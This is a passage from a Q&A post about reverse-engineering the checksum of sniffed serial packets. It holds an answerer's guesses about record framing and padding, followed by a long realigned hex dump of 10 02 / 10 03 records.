00 00 00 10 03 5b 38\n10 02 f4 02 20 00 00 10 03 dd fe\n
\n", "Title": "Reversing checksum algorithm", "Tags": "|serial-communication|sniffing|packet|crc|", "Answer": "

I'm not sure it's a checksum either. FF may be used as a padding flag. Also I think your \"record size\" needs to be reevaluated. I see this as a series of bytes that start with \n10 02 xx yy yy zz zz\nx and y might be options \nz looks like data or a sequence (ish)\nThen the next record looks like this\n10 03 xx xx\nHere's an observation on the 10 03 records:\n\n10 03 d2 26\n10 03 c2 07\n10 03 f2 64\n10 03 e2 45\nlooking at the last 2 bytes,

\n\n

0xD226 - 0xC207 = 0x101F

\n\n

0xF264 - 0xE245 = 0x101F

\n\n

I don't know what that means, but I think that relationship is not coincidence.

\n\n

I took the data and did some binary find and replace to shift it from one line with two records to two lines, one of each record type. Specifically, I added three leading bytes to 0x1002, removed those bytes at the very start to align the first record with the start of the file. Then they aligned nicely. However, when I found the FF, I saw that the records got misaligned, hence more evidence that its some sort of padding flag or something to keep the protocol on track, I guess. I added null bytes to shift the records back into conformance. I'll paste the results below, but only partial, because of the hastiness of my find and replace I think a portion of the data towards the end got borked up and I had \"run out of time\" to mess with it. I'll leave a little bit of where things got shifted, but keep in mind I tinkered with it a bit so I don't think I preserved it as well as the first section.

\n\n

Edit: \nThat last byte of the 0x1002 record might be some sort of counter, note that when it becomes a full byte that's when some sort of sequence starts to reset.\nSearch for this string\n10 02 41 02 20 00 FF

\n\n

PS: Politely, it would have been nice to know what you were doing with the hardware to generate this data, some context for the evaluation may have been helpful.

\n\n

\n10 02 41 02 20 01 46 \n10 03 CB A4 00 00 00 \n10 02 41 02 20 00 18 \n10 03 43 AE 00 00 00 \n10 02 41 02 20 00 19 \n10 03 53 8F 00 00 00 \n10 02 41 02 20 00 1A \n10 03 63 EC 00 00 00 \n10 02 41 02 20 00 1B \n10 03 73 CD 00 00 00 \n10 02 41 02 20 00 1C \n10 03 03 2A 00 00 00 \n10 02 41 02 20 00 1D \n10 03 13 0B 00 00 00 \n10 02 41 02 20 00 1E \n10 03 23 68 00 00 00 \n10 02 41 02 20 00 1F \n10 03 33 49 00 00 00 \n10 02 41 02 20 00 20 \n10 03 F4 F5 00 00 00 \n10 02 41 02 20 00 21 \n10 03 E4 D4 00 00 00 \n10 02 41 02 20 00 22 \n10 03 D4 B7 00 00 00 \n10 02 41 02 20 00 23 \n10 03 C4 96 00 00 00 \n10 02 41 02 20 00 24 \n10 03 B4 71 00 00 00 \n10 02 41 02 20 00 25 \n10 03 A4 50 00 00 00 \n10 02 41 02 20 00 26 \n10 03 94 33 00 00 00 \n10 02 41 02 20 00 27 \n10 03 84 12 00 00 00 \n10 02 41 02 20 00 28 \n10 03 75 FD 00 00 00 \n10 02 41 02 20 00 29 \n10 03 65 DC 00 00 00 \n10 02 41 02 20 00 2A \n10 03 55 BF 00 00 00 \n10 02 41 02 20 00 2B \n10 03 45 9E 00 00 00 \n10 02 41 02 20 00 2C \n10 03 35 79 00 00 00 \n10 02 41 02 20 00 2D \n10 03 25 58 00 00 00 \n10 02 41 02 20 00 2E \n10 03 15 3B 00 00 00 \n10 02 41 02 20 00 2F \n10 03 05 1A 00 00 00 \n10 02 41 02 20 00 30 \n10 03 E6 C4 00 00 00 \n10 02 41 02 20 00 31 \n10 03 F6 E5 00 00 00 \n10 02 41 02 20 00 32 \n10 03 C6 86 00 00 00 \n10 02 41 02 20 00 33 \n10 03 D6 A7 00 00 00 \n10 02 41 02 20 00 34 \n10 03 A6 40 00 00 00 \n10 02 41 02 20 00 35 \n10 03 B6 61 00 00 00 \n10 02 41 02 20 00 36 \n10 03 86 02 00 00 00 \n10 02 41 02 20 00 37 \n10 03 96 23 00 00 00 \n10 02 41 02 20 00 38 \n10 03 67 CC 00 00 00 \n10 02 41 02 20 00 39 \n10 03 77 ED 00 00 00 \n10 02 41 02 20 00 3A \n10 03 47 8E 00 00 00 \n10 02 41 02 20 00 3B \n10 03 57 AF 00 00 00 \n10 02 41 02 20 00 3C \n10 03 27 48 00 00 00 \n10 02 41 02 20 00 3D \n10 03 37 69 00 00 00 \n10 02 41 02 20 00 3E \n10 03 07 0A 00 00 00 \n10 02 41 02 20 00 3F \n10 03 17 2B 00 00 00 \n10 02 41 02 20 00 40 \n10 03 98 53 00 00 00 \n10 02 41 02 20 00 41 \n10 03 88 72 00 00 00 \n10 02 41 02 20 00 42 \n10 03 B8 11 00 00 00 \n10 02 41 02 20 00 43 \n10 03 A8 30 00 00 00 \n10 02 41 02 20 00 44 \n10 03 D8 D7 00 00 00 \n10 02 41 02 20 00 45 \n10 03 C8 F6 00 00 00 \n10 02 41 02 20 00 46 \n10 03 F8 95 00 00 00 \n10 02 41 02 20 00 47 \n10 03 E8 B4 00 00 00 \n10 02 41 02 20 00 48 \n10 03 19 5B 00 00 00 \n10 02 41 02 20 00 49 \n10 03 09 7A 00 00 00 \n10 02 41 02 20 00 4A \n10 03 39 19 00 00 00 \n10 02 41 02 20 00 4B \n10 03 29 38 00 00 00 \n10 02 41 02 20 00 4C \n10 03 59 DF 00 00 00 \n10 02 41 02 20 00 4D \n10 03 49 FE 00 00 00 \n10 02 41 02 20 00 4E \n10 03 79 9D 00 00 00 \n10 02 41 02 20 00 4F \n10 03 69 BC 00 00 00 \n10 02 41 02 20 00 50 \n10 03 8A 62 00 00 00 \n10 02 41 02 20 00 51 \n10 03 9A 43 00 00 00 \n10 02 41 02 20 00 52 \n10 03 AA 20 00 00 00 \n10 02 41 02 20 00 53 \n10 03 BA 01 00 00 00 \n10 02 41 02 20 00 54 \n10 03 CA E6 00 00 00 \n10 02 41 02 20 00 55 \n10 03 DA C7 00 00 00 \n10 02 41 02 20 00 56 \n10 03 EA A4 00 00 00 \n10 02 41 02 20 00 57 \n10 03 FA 85 00 00 00 \n10 02 41 02 20 00 58 \n10 03 0B 6A 00 00 00 \n10 02 41 02 20 00 59 \n10 03 1B 4B 00 00 00 \n10 02 41 02 20 00 5A \n10 03 2B 28 00 00 00 \n10 02 41 02 20 00 5B \n10 03 3B 09 00 00 00 \n10 02 41 02 20 00 5C \n10 03 4B EE 00 00 00 \n10 02 41 02 20 00 5D \n10 03 5B CF 00 00 00 \n10 02 41 02 20 00 5E \n10 03 6B AC 00 00 00 \n10 02 41 02 20 00 5F \n10 03 7B 8D 00 00 00 \n10 02 41 02 20 00 60 \n10 03 BC 31 00 00 00 \n10 02 41 02 20 00 61 \n10 03 AC 10 00 00 00 \n10 02 41 02 20 00 62 \n10 03 9C 73 00 00 00 \n10 02 41 02 20 00 63 \n10 03 8C 52 00 00 00 \n10 02 41 02 20 00 64 \n10 03 FC B5 00 00 00 \n10 02 41 02 20 00 65 \n10 03 EC 94 00 00 00 \n10 02 41 02 20 00 66 \n10 03 DC F7 00 00 00 \n10 02 41 02 20 00 67 \n10 03 CC D6 00 00 00 \n10 02 41 02 20 00 68 \n10 03 3D 39 00 00 00 \n10 02 41 02 20 00 69 \n10 03 2D 18 00 00 00 \n10 02 41 02 20 00 6A \n10 03 1D 7B 00 00 00 \n10 02 41 02 20 00 6B \n10 03 0D 5A 00 00 00 \n10 02 41 02 20 00 6C \n10 03 7D BD 00 00 00 \n10 02 41 02 20 00 6D \n10 03 6D 9C 00 00 00 \n10 02 41 02 20 00 6E \n10 03 5D FF 00 00 00 \nFF 00 00 00 00 00 00 \n10 02 41 02 20 00 6F \n10 03 4D DE 00 00 00 \n10 02 41 02 20 00 70 \n10 03 AE 00 00 00 00 \n10 02 41 02 20 00 71 \n10 03 BE 21 00 00 00 \n10 02 41 02 20 00 72 \n10 03 8E 42 00 00 00 \n10 02 41 02 20 00 73 \n10 03 9E 63 00 00 00 \n10 02 41 02 20 00 74 \n10 03 EE 84 00 00 00 \n10 02 41 02 20 00 75 \n10 03 FE A5 00 00 00 \n10 02 41 02 20 00 76 \n10 03 CE C6 00 00 00 \n10 02 41 02 20 00 77 \n10 03 DE E7 00 00 00 \n10 02 41 02 20 00 78 \n10 03 2F 08 00 00 00 \n10 02 41 02 20 00 79 \n10 03 3F 29 00 00 00 \n10 02 41 02 20 00 7A \n10 03 0F 4A 00 00 00 \n10 02 41 02 20 00 7B \n10 03 1F 6B 00 00 00 \n10 02 41 02 20 00 7C \n10 03 6F 8C 00 00 00 \n10 02 41 02 20 00 7D \n10 03 7F AD 00 00 00 \n10 02 41 02 20 00 7E \n10 03 4F CE 00 00 00 \n10 02 41 02 20 00 7F \n10 03 5F EF 00 00 00 \n10 02 41 02 20 00 80 \n10 03 41 1F 00 00 00 \n10 02 41 02 20 00 81 \n10 03 51 3E 00 00 00 \n10 02 41 02 20 00 82 \n10 03 61 5D 00 00 00 \n10 02 41 02 20 00 83 \n10 03 71 7C 00 00 00 \n10 02 41 02 20 00 84 \n10 03 01 9B 00 00 00 \n10 02 41 02 20 00 85 \n10 03 11 BA 00 00 00 \n10 02 41 02 20 00 86 \n10 03 21 D9 00 00 00 \n10 02 41 02 20 00 87 \n10 03 31 F8 00 00 00 \n10 02 41 02 20 00 88 \n10 03 C0 17 00 00 00 \n10 02 41 02 20 00 89 \n10 03 D0 36 00 00 00 \n10 02 41 02 20 00 8A \n10 03 E0 55 00 00 00 \n10 02 41 02 20 00 8B \n10 03 F0 74 00 00 00 \n10 02 41 02 20 00 8C \n10 03 80 93 00 00 00 \n10 02 41 02 20 00 8D \n10 03 90 B2 00 00 00 \n10 02 41 02 20 00 8E \n10 03 A0 D1 00 00 00 \n10 02 41 02 20 00 8F \n10 03 B0 F0 00 00 00 \n10 02 41 02 20 00 90 \n10 03 53 2E 00 00 00 \n10 02 41 02 20 00 91 \n10 03 43 0F 00 00 00 \n10 02 41 02 20 00 92 \n10 03 73 6C 00 00 00 \n10 02 41 02 20 00 93 \n10 03 63 4D 00 00 00 \n10 02 41 02 20 00 94 \n10 03 13 AA 00 00 00 \n10 02 41 02 20 00 95 \n10 03 03 8B 00 00 00 \n10 02 41 02 20 00 97 \n10 03 23 C9 00 00 00 \n10 02 41 02 20 00 98 \n10 03 D2 26 00 00 00 \n10 02 41 02 20 00 99 \n10 03 C2 07 00 00 00 \n10 02 41 02 20 00 9A \n10 03 F2 64 00 00 00 \n10 02 41 02 20 00 9B \n10 03 E2 45 00 00 00 \n10 02 41 02 20 00 9C \n10 03 92 A2 00 00 00 \n10 02 41 02 20 00 9D \n10 03 82 83 00 00 00 \n10 02 41 02 20 00 9E \n10 03 B2 E0 00 00 00 \n10 02 41 02 20 00 9F \n10 03 A2 C1 00 00 00 \n10 02 41 02 20 00 A0 \n10 03 65 7D 00 00 00 \n10 02 41 02 20 00 A1 \n10 03 75 5C 00 00 00 \n10 02 41 02 20 00 A2 \n10 03 45 3F 00 00 00 \n10 02 41 02 20 00 A3 \n10 03 55 1E 00 00 00 \n10 02 41 02 20 00 A4 \n10 03 25 F9 00 00 00 \n10 02 41 02 20 00 A5 \n10 03 35 D8 00 00 00 \n10 02 41 02 20 00 A6 \n10 03 05 BB 00 00 00 \n10 02 41 02 20 00 A7 \n10 03 15 9A 00 00 00 \n10 02 41 02 20 00 A8 \n10 03 E4 75 00 00 00 \n10 02 41 02 20 00 A9 \n10 03 F4 54 00 00 00 \n10 02 41 02 20 00 AA \n10 03 C4 37 00 00 00 \n10 02 41 02 20 00 AB \n10 03 D4 16 00 00 00 \n10 02 41 02 20 00 AC \n10 03 A4 F1 00 00 00 \n10 02 41 02 20 00 AD \n10 03 B4 D0 00 00 00 \n10 02 41 02 20 00 AE \n10 03 84 B3 00 00 00 \n10 02 41 02 20 00 AF \n10 03 94 92 00 00 00 \n10 02 41 02 20 00 B0 \n10 03 77 4C 00 00 00 \n10 02 41 02 20 00 B1 \n10 03 67 6D 00 00 00 \n10 02 41 02 20 00 B2 \n10 03 57 0E 00 00 00 \n10 02 41 02 20 00 B3 \n10 03 47 2F 00 00 00 \n10 02 41 02 20 00 B4 \n10 03 37 C8 00 00 00 \n10 02 41 02 20 00 B5 \n10 03 27 E9 00 00 00 \n10 02 41 02 20 00 B6 \n10 03 17 8A 00 00 00 \n10 02 41 02 20 00 B7 \n10 03 07 AB 00 00 00 \n10 02 41 02 20 00 B8 \n10 03 F6 44 00 00 00 \n10 02 41 02 20 00 B9 \n10 03 E6 65 00 00 00 \n10 02 41 02 20 00 BA \n10 03 D6 06 00 00 00 \n10 02 41 02 20 00 BB \n10 03 C6 27 00 00 00 \n10 02 41 02 20 00 BC \n10 03 B6 C0 00 00 00 \n10 02 41 02 20 00 BD \n10 03 A6 E1 00 00 00 \n10 02 41 02 20 00 BE \n10 03 96 82 00 00 00 \n10 02 41 02 20 00 BF \n10 03 86 A3 00 00 00 \n10 02 41 02 20 00 C0 \n10 03 09 DB 00 00 00 \n10 02 41 02 20 00 C1 \n10 03 19 FA 00 00 00 \n10 02 41 02 20 00 C2 \n10 03 29 99 00 00 00 \n10 02 41 02 20 00 C3 \n10 03 39 B8 00 00 00 \n10 02 41 02 20 00 C4 \n10 03 49 5F 00 00 00 \n10 02 41 02 20 00 C5 \n10 03 59 7E 00 00 00 \n10 02 41 02 20 00 C6 \n10 03 69 1D 00 00 00 \n10 02 41 02 20 00 C7 \n10 03 79 3C 00 00 00 \n10 02 41 02 20 00 C8 \n10 03 88 D3 00 00 00 \n10 02 41 02 20 00 C9 \n10 03 98 F2 00 00 00 \n10 02 41 02 20 00 CA \n10 03 A8 91 00 00 00 \n10 02 41 02 20 00 CB \n10 03 B8 B0 00 00 00 \n10 02 41 02 20 00 CC \n10 03 C8 57 00 00 00 \n10 02 41 02 20 00 CD \n10 03 D8 76 00 00 00 \n10 02 41 02 20 00 CE \n10 03 E8 15 00 00 00 \n10 02 41 02 20 00 CF \n10 03 F8 34 00 00 00 \n10 02 41 02 20 00 D0 \n10 03 1B EA 00 00 00 \n10 02 41 02 20 00 D1 \n10 03 0B CB 00 00 00 \n10 02 41 02 20 00 D2 \n10 03 3B A8 00 00 00 \n10 02 41 02 20 00 D3 \n10 03 2B 89 00 00 00 \n10 02 41 02 20 00 D4 \n10 03 5B 6E 00 00 00 \n10 02 41 02 20 00 D5 \n10 03 4B 4F 00 00 00 \n10 02 41 02 20 00 D6 \n10 03 7B 2C 00 00 00 \n10 02 41 02 20 00 D7 \n10 03 6B 0D 00 00 00 \n10 02 41 02 20 00 D8 \n10 03 9A E2 00 00 00 \n10 02 41 02 20 00 D9 \n10 03 8A C3 00 00 00 \n10 02 41 02 20 00 DA \n10 03 BA A0 00 00 00 \n10 02 41 02 20 00 DB \n10 03 AA 81 00 00 00 \n10 02 41 02 20 00 DC \n10 03 DA 66 00 00 00 \n10 02 41 02 20 00 DD \n10 03 CA 47 00 00 00 \n10 02 41 02 20 00 DE \n10 03 FA 24 00 00 00 \n10 02 41 02 20 00 DF \n10 03 EA 05 00 00 00 \n10 02 41 02 20 00 E0 \n10 03 2D B9 00 00 00 \n10 02 41 02 20 00 E1 \n10 03 3D 98 00 00 00 \n10 02 41 02 20 00 E2 \n10 03 0D FB 00 00 00 \n10 02 41 02 20 00 E3 \n10 03 1D DA 00 00 00 \n10 02 41 02 20 00 E4 \n10 03 6D 3D 00 00 00 \n10 02 41 02 20 00 E5 \n10 03 7D 1C 00 00 00 \n10 02 41 02 20 00 E6 \n10 03 4D 7F 00 00 00 \n10 02 41 02 20 00 E7 \n10 03 5D 5E 00 00 00 \n10 02 41 02 20 00 E8 \n10 03 AC B1 00 00 00 \n10 02 41 02 20 00 E9 \n10 03 BC 90 00 00 00 \n10 02 41 02 20 00 EA \n10 03 8C F3 00 00 00 \n10 02 41 02 20 00 EB \n10 03 9C D2 00 00 00 \n10 02 41 02 20 00 EC \n10 03 EC 35 00 00 00 \n10 02 41 02 20 00 ED \n10 03 FC 14 00 00 00 \n10 02 41 02 20 00 EE \n10 03 CC 77 00 00 00 \n10 02 41 02 20 00 EF \n10 03 DC 56 00 00 00 \n10 02 41 02 20 00 F0 \n10 03 3F 88 00 00 00 \n10 02 41 02 20 00 F1 \n10 03 2F A9 00 00 00 \n10 02 41 02 20 00 F2 \n10 03 1F CA 00 00 00 \n10 02 41 02 20 00 F3 \n10 03 0F EB 00 00 00 \n10 02 41 02 20 00 F4 \n10 03 7F 0C 00 00 00 \n10 02 41 02 20 00 F5 \n10 03 6F 2D 00 00 00 \n10 02 41 02 20 00 F6 \n10 03 5F 4E 00 00 00 \n10 02 41 02 20 00 F7 \n10 03 4F 6F 00 00 00 \n10 02 41 02 20 00 F8 \n10 03 BE 80 00 00 00 \n10 02 41 02 20 00 F9 \n10 03 AE A1 00 00 00 \n10 02 41 02 20 00 FA \n10 03 9E C2 00 00 00 \n10 02 41 02 20 00 FB \n10 03 8E E3 00 00 00 \n10 02 41 02 20 00 FC \n10 03 FE 04 00 00 00 \n10 02 41 02 20 00 FD \n10 03 EE 25 00 00 00 \n10 02 41 02 20 00 FE \n10 03 DE 46 00 00 00 \n10 02 41 02 20 00 FF \nFF 00 00 00 00 00 00 \n10 03 CE 67 00 00 00 \n10 02 41 02 20 01 00 \n10 03 E3 A6 00 00 00 \n10 02 41 02 20 01 01 \n10 03 F3 87 00 00 00 \n10 02 41 02 20 01 02 \n10 03 C3 E4 00 00 00 \n10 02 41 02 20 01 03 \n10 03 D3 C5 00 00 00 \n10 02 41 02 20 01 04 \n10 03 A3 22 00 00 00 \n10 02 41 02 20 01 05 \n10 03 B3 03 00 00 00 \n10 02 41 02 20 01 06 \n10 03 83 60 00 00 00 \n10 02 41 02 20 01 07 \n10 03 93 41 00 00 00 \n10 02 41 02 20 01 08 \n10 03 62 AE 00 00 00 \n10 02 41 02 20 01 09 \n10 03 72 8F 00 00 00 \n10 02 41 02 20 01 0A \n10 03 42 EC 00 00 00 \n10 02 41 02 20 01 0B \n10 03 52 CD 00 00 00 \n10 02 41 02 20 01 0C \n10 03 22 2A 00 00 00 \n10 02 41 02 20 01 0D \n10 03 32 0B 00 00 00 \n10 02 41 02 20 01 0E \n10 03 02 68 00 00 00 \n10 02 41 02 20 01 0F \n10 03 12 49 00 00 00 \n10 02 41 02 20 01 10 \n10 10 03 F1 97 00 00 \n10 02 41 02 20 01 11 \n10 03 E1 B6 00 00 00 \n10 02 41 02 20 01 12 \n10 03 D1 D5 00 00 00 \n10 02 41 02 20 01 13 \n10 03 C1 F4 00 00 00 \n10 02 41 02 20 01 14 \n10 03 B1 13 00 00 00 \n10 02 41 02 20 01 15 \n10 03 A1 32 00 00 00 \n10 02 41 02 20 01 16 \n10 03 91 51 00 00 00 \n10 02 41 02 20 01 17 \n10 03 81 70 00 00 00 \n10 02 41 02 20 01 18 \n10 03 70 9F 00 00 00 \n10 02 41 02 20 01 19 \n10 03 60 BE 00 00 00 \n10 02 41 02 20 01 1A \n10 03 50 DD 00 00 00 \n10 02 41 02 20 01 1B \n10 03 40 FC 00 00 00 \n10 02 41 02 20 01 1C \n10 03 30 1B 00 00 00 \n10 02 41 02 20 01 1D \n10 03 20 3A 00 00 00 \n10 02 41 02 20 01 1E \n10 03 10 59 00 00 00 \n10 02 41 02 20 01 1F \n10 03 00 78 00 00 00 \n10 02 41 02 20 01 20 \n10 03 C7 C4 00 00 00 \n10 02 41 02 20 01 21 \n10 03 D7 E5 00 00 00 \n10 02 41 02 20 01 22 \n10 03 E7 86 00 00 00 \n10 02 41 02 20 01 23 \n10 03 F7 A7 00 00 00 \n10 02 41 02 20 01 24 \n10 03 87 40 00 00 00 \n10 02 41 02 20 01 25 \n10 03 97 61 00 00 00 \n10 02 41 02 20 01 26 \n10 03 A7 02 00 00 00 \n10 02 41 02 20 01 27 \n10 03 B7 23 00 00 00 \n10 02 41 02 20 01 28 \n10 03 46 CC 00 00 00 \n10 02 41 02 20 01 29 \n10 03 56 ED 00 00 00 \n10 02 41 02 20 01 2A \n10 03 66 8E 00 00 00 \n10 02 41 02 20 01 2B \n10 03 76 AF 00 00 00 \n10 02 41 02 20 01 2C \n10 03 06 48 00 00 00 \n10 02 41 02 20 01 2D \n10 03 16 69 00 00 00 \n10 02 41 02 20 01 2E \n10 03 26 0A 00 00 00 \n10 02 41 02 20 01 2F \n10 03 36 2B 00 00 00 \n10 02 41 02 20 01 30 \n10 03 D5 F5 00 00 00 \n10 02 41 02 20 01 31 \n10 03 C5 D4 00 00 00 \n10 02 41 02 20 01 32 \n10 03 F5 B7 00 00 00 \n10 02 41 02 20 01 33 \n10 03 E5 96 00 00 00 \n10 02 41 02 20 01 34 \n10 03 95 71 00 00 00 \n10 02 41 02 20 01 35 \n10 03 85 50 00 00 00 \n10 02 41 02 20 01 36 \n10 03 B5 33 00 00 00 \n10 02 41 02 20 01 37 \n10 03 A5 12 00 00 00 \n10 02 41 02 20 01 38 \n10 03 54 FD 00 00 00 \n10 02 41 02 20 01 39 \n10 03 44 DC 00 00 00 \n10 02 41 02 20 01 3A \n10 03 74 BF 00 00 00 \n10 02 41 02 20 01 3B \n10 03 64 9E 00 00 00 \n10 02 41 02 20 01 3C \n10 03 14 79 00 00 00 \n10 02 41 02 20 01 3D \n10 03 04 58 00 00 00 \n10 02 41 02 20 01 3E \n10 03 34 3B 00 00 00 \n10 02 41 02 20 01 3F \n10 03 24 1A 00 00 00 \n10 02 41 02 20 01 40 \n10 03 AB 62 00 00 00 \n10 02 41 02 20 01 41 \n10 03 BB 43 00 00 00 \n10 02 41 02 20 01 42 \n10 03 8B 20 00 00 00 \n10 02 41 02 20 01 43 \n10 03 9B 01 00 00 00 \n10 02 41 02 20 01 44 \n10 03 EB E6 00 00 00 \n10 02 41 02 20 01 45 \n10 03 FB C7 00 00 00 \n10 02 41 02 20 01 46 \n10 03 CB A4 00 00 00 \n10 02 41 02 20 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 06 \n10 03 58 F7 00 00 00 \n10 02 41 02 02 00 06 \n10 03 58 F7 00 00 00 \n10 02 41 02 02 00 06 \n10 03 58 F7 00 00 00 \n10 02 41 02 02 00 06 \n10 03 58 F7 00 00 00 \n10 02 41 02 02 00 06 \n10 03 58 F7 00 00 00 \n10 02 41 02 02 00 07 \n10 03 48 D6 00 00 00 \n10 02 41 02 02 00 07 \n10 03 48 D6 00 00 00 \n10 02 41 02 02 00 07 \n10 03 48 D6 00 00 00 \n10 02 41 02 02 00 07 \n10 03 48 D6 00 00 00 \n10 02 41 02 02 00 07 \n10 03 48 D6 00 00 00 \n10 02 41 02 02 00 08 \n10 03 B9 39 00 00 00 \n10 02 41 02 02 00 08 \n10 03 B9 39 00 00 00 \n10 02 41 02 02 00 09 \n10 03 A9 18 00 00 00 \n10 02 41 02 02 00 09 \n10 03 A9 18 00 00 00 \n10 02 41 02 02 00 09 \n10 03 A9 18 00 00 00 \n10 02 41 02 02 00 0A \n10 03 99 7B 00 00 00 \n10 02 41 02 02 00 0A \n10 03 99 7B 00 00 00 \n10 02 41 02 02 00 0B \n10 03 89 5A 00 00 00 \n10 02 41 02 02 00 0B \n10 03 89 5A 00 00 00 \n10 02 41 02 02 00 0D \n10 03 E9 9C 00 00 00 \n10 02 41 02 02 00 0D \n10 03 E9 9C 00 00 00 \n10 02 41 02 02 00 0E \n10 03 D9 FF 00 00 00 \nFF 00 00 00 00 00 00 \n10 02 41 02 02 00 0F \n10 03 C9 DE 00 00 00 \n10 02 41 02 02 00 10 \n10 00 00 00 00 00 00 \n10 03 2A 00 00 00 00 \n10 02 41 02 02 00 11 \n10 03 3A 21 00 00 00 \n10 02 41 02 02 00 12 \n10 03 0A 42 00 00 00 \n10 02 41 02 02 00 13 \n10 03 1A 63 00 00 00 \n10 02 41 02 02 00 14 \n10 03 6A 84 00 00 00 \n10 02 41 02 02 00 17 \n10 03 5A E7 00 00 00 \n10 02 41 02 02 00 19 \n10 03 BB 29 00 00 00 \n10 02 41 02 02 00 1D \n10 03 FB AD 00 00 00 \n10 02 41 02 02 00 20 \n10 03 1C 53 00 00 00 \n10 02 41 02 02 00 27 \n10 03 6C B4 00 00 00 \n10 02 41 02 02 00 2D \n10 03 CD FE 00 00 00 \n10 02 41 02 02 00 3C \n10 03 CF EE 00 00 00 \n10 02 41 02 02 00 49 \n10 03 E1 DC 00 00 00 \n10 02 41 02 02 00 7E \n10 03 A7 68 00 00 00 \n10 02 41 02 02 00 C4 \n10 03 A1 F9 00 00 00 \n10 02 41 02 02 7E E3 \n10 03 DE 2A 00 00 00 \n10 02 41 02 02 7E DA \n10 03 79 50 00 00 00 \n10 02 41 02 02 7E D1 \n10 03 C8 3B 00 00 00 \n10 02 41 02 02 7E C8 \n10 03 4B 23 00 00 00 \n10 02 41 02 02 7E B3 \n10 03 84 DF 00 00 00 \n10 02 41 02 02 7E 80 \n10 03 82 EF 00 00 00 \n10 02 41 02 02 7E 3A \n10 03 84 7E 00 00 00 \n10 02 41 02 02 7D D5 \n10 03 DD EC 00 00 00 \n10 02 41 02 02 7D 36 \n10 03 10 A1 00 00 00 \n10 02 41 02 02 7C 18 \n10 03 E6 3C 00 00 00 \n10 02 41 02 02 7B A9 \n10 03 C8 51 00 00 00 \n10 02 41 02 02 00 49 \n10 03 E1 DC 00 00 00 \n10 02 41 02 02 00 2D \n10 03 CD FE 00 00 00 \n10 02 41 02 02 00 3C \n10 03 CF EE 00 00 00 \n10 02 41 02 02 00 7E \n10 03 A7 68 00 00 00 \n10 02 41 02 02 01 C6 \n10 03 B2 8A 00 00 00 \n10 02 41 02 02 7E E3 \n10 03 DE 2A 00 00 00 \n10 02 42 02 01 00 00 \n10 03 05 8E 00 00 00 \n10 02 F4 02 20 00 01 \n00 01 10 03 4A BB 00 \n10 02 F4 02 20 00 01 \n10 03 5A 9A 00 00 00 \n10 02 F4 02 20 00 02 \n01 10 03 92 93 00 00 \n10 02 F4 02 20 00 02 \n00 10 03 82 B2 00 00 \n10 02 F4 02 28 00 FC \n10 03 4F 80 00 00 00 \n10 02 F4 02 28 00 00 \nF9 10 03 1F 25 00 00 \n10 02 F4 02 28 00 00 \nF6 10 03 EE CA 00 00 \n00 10 02 F4 02 28 00 \n00 F3 10 03 BE 6F 00 \n00 00 10 02 F4 02 28 \n00 00 F0 10 03 8E 0C \n00 00 00 10 02 F4 02 \n28 00 00 ED 10 03 4D \n90 00 00 00 10 02 F4 \n02 28 00 00 EA 10 03 \n3D 77 00 00 00 10 02 \nF4 02 28 00 00 E7 10 \n03 EC DA 00 00 00 10 \n02 F4 02 28 00 00 E4 \n10 03 DC B9 00 00 00 \n10 02 F4 02 28 00 00 \nE1 10 03 8C 1C 00 00 \n00 10 02 F4 02 28 00 \n00 DE 10 03 4B A0 00 \n00 00 10 02 F4 02 28 \n00 00 DB 10 03 1B 05 \n00 00 00 10 02 F4 02 \n28 00 00 D8 10 03 2B \n66 00 00 00 10 02 F4 \n02 28 00 00 D5 10 03 \nFA CB 00 00 00 10 02 \nF4 02 28 00 00 D3 10 \n03 9A 0D 00 00 00 10 \n02 F4 02 28 00 00 D0 \n10 03 AA 6E 00 00 00 \n10 02 F4 02 28 00 00 \nCD 10 03 69 F2 00 00 \n00 10 02 F4 02 28 00 \n00 CA 10 03 19 15 00 \n00 00 10 02 F4 02 28 \n00 00 C7 10 03 C8 B8 \n00 00 00 10 02 F4 02 \n28 00 00 C4 10 03 F8 \nDB 00 00 00 10 02 F4 \n02 28 00 00 C1 10 03 \nA8 7E 00 00 00 10 02 \nF4 02 28 00 00 BE 10 \n03 27 06 00 00 00 10 \n02 F4 02 28 00 00 BB \n10 03 77 A3 00 00 00 \n10 02 F4 02 28 00 00 \nB8 10 03 47 C0 00 00 \n00 10 02 F4 02 28 00 \n00 B5 10 03 96 6D 00 \n00 00 10 02 F4 02 28 \n00 00 B2 10 03 E6 8A \n00 00 00 10 02 F4 02 \n28 00 00 AF 10 03 25 \n16 00 00 00 10 02 F4 \n02 28 00 00 AC 10 03 \n15 75 00 00 00 10 02 \nF4 02 28 00 00 A9 10 \n03 45 D0 00 00 00 10 \n02 F4 02 28 00 00 A6 \n10 03 B4 3F 00 00 00 \n10 02 F4 02 28 00 00 \nA3 10 03 